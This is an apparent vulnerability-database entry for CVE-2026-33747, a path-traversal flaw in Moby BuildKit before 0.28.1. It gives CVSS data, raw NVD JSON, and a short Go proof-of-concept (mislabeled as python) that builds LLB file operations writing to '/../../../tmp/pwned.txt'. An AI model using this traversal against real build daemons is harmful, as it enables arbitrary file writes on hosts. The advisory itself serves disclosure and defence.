Security Vulnerability Report
中文
CVE-2026-33747 CVSS 8.4 HIGH

CVE-2026-33747

Published: 2026-03-27 01:16:21
Last Modified: 2026-04-01 14:34:48

Description

BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. Prior to version 0.28.1, when using a custom BuildKit frontend, the frontend can craft an API message that causes files to be written outside of the BuildKit state directory for the execution context. The issue has been fixed in v0.28.1. The vulnerability requires using an untrusted BuildKit frontend set with `#syntax` or `--build-arg BUILDKIT_SYNTAX`. Using these options with a well-known frontend image like `docker/dockerfile` is not affected.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mobyproject:buildkit:*:*:*:*:*:*:*:* - VULNERABLE
Moby BuildKit < 0.28.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept: Malicious BuildKit Frontend (Go) // This simulates a frontend sending a malicious LLB definition to write outside the context. package main import ( "github.com/moby/buildkit/client/llb" ) func main() { // Define a file operation that escapes the build context // using path traversal (e.g., ../../../) st := llb.Scratch(). File( llb.Mkdir("/../../../tmp", 0755, llb.WithParents(true)), ). File( llb.Mkfile("/../../../tmp/pwned.txt", 0644, []byte("CVE-2026-33747 Exploit")), ) // In a real exploit, this state definition would be marshalled // and sent to the BuildKit daemon via the gRPC API. def, err := st.Marshal( llb.LinuxAmd64, ) if err != nil { panic(err) } // Return definition to BuildKit to trigger the write _, _ = def.ToPB() }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33747", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:21.330", "lastModified": "2026-04-01T14:34:48.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. Prior to version 0.28.1, when using a custom BuildKit frontend, the frontend can craft an API message that causes files to be written outside of the BuildKit state directory for the execution context. The issue has been fixed in v0.28.1. The vulnerability requires using an untrusted BuildKit frontend set with `#syntax` or `--build-arg BUILDKIT_SYNTAX`. Using these options with a well-known frontend image like `docker/dockerfile` is not affected."}, {"lang": "es", "value": "BuildKit es un conjunto de herramientas para convertir código fuente en artefactos de compilación de manera eficiente, expresiva y repetible. Antes de la versión 0.28.1, al usar un frontend de BuildKit personalizado, el frontend puede elaborar un mensaje de API que provoca que se escriban archivos fuera del directorio de estado de BuildKit para el contexto de ejecución. El problema ha sido solucionado en la v0.28.1. La vulnerabilidad requiere usar un frontend de BuildKit no confiable configurado con '#syntax' o '--build-arg BUILDKIT_SYNTAX'. El uso de estas opciones con una imagen de frontend conocida como 'docker/dockerfile' no se ve afectado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mobyproject:buildkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.28.1", "matchCriteriaId": "393ED789-1B13-4B78-8AFB-290B67EE2A8A"}]}]}], "references": [{"url": "https://github.com/moby/buildkit/releases/tag/v0.28.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/moby/buildkit/security/advisories/GHSA-4c29-8rgm-jvjj", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}